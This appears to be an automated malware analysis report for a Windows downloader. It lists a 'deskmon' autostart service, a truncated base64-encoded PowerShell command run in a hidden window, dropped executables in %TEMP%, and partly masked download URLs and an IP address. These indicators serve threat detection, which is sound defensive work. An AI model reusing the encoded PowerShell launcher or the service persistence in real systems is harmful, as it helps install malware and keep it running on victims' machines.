Technical Information
- [<HKLM>\System\CurrentControlSet\Services\deskmon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\deskmon] 'ImagePath' = '"%WINDIR%\SysWOW64\AUDIOKSE\deskmon.exe"'
- 'deskmon' "%WINDIR%\SysWOW64\AUDIOKSE\deskmon.exe"
- 'deskmon' %WINDIR%\SysWOW64\AUDIOKSE\deskmon.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBADEAYQA5ADUAbQAzAD0AKAAnAFkAJwArACcAaQAnACsAJwBhAHEAeAA4ADcAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBwAFwAbwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...
- %TEMP%\office2019\padovoqv3.exe
- %WINDIR%\syswow64\audiokse\deskmon.exe
- from %TEMP%\office2019\padovoqv3.exe to %WINDIR%\syswow64\audiokse\deskmon.exe
- '70.##1.172.89':80
- http://es###icht.com/Carsten/JhAUO/
- http://70.##1.172.89/bYyDVHknnDDEz/NCAvEoX77YlXSvh/
- DNS ASK es###icht.com
- '%TEMP%\office2019\padovoqv3.exe'
- '%WINDIR%\syswow64\audiokse\deskmon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBADEAYQA5ADUAbQAzAD0AKAAnAFkAJwArACcAaQAnACsAJwBhAHEAeAA4ADcAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQARQBuAHYAOgBUAGUAbQBwAFwAbwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...' (with hidden window)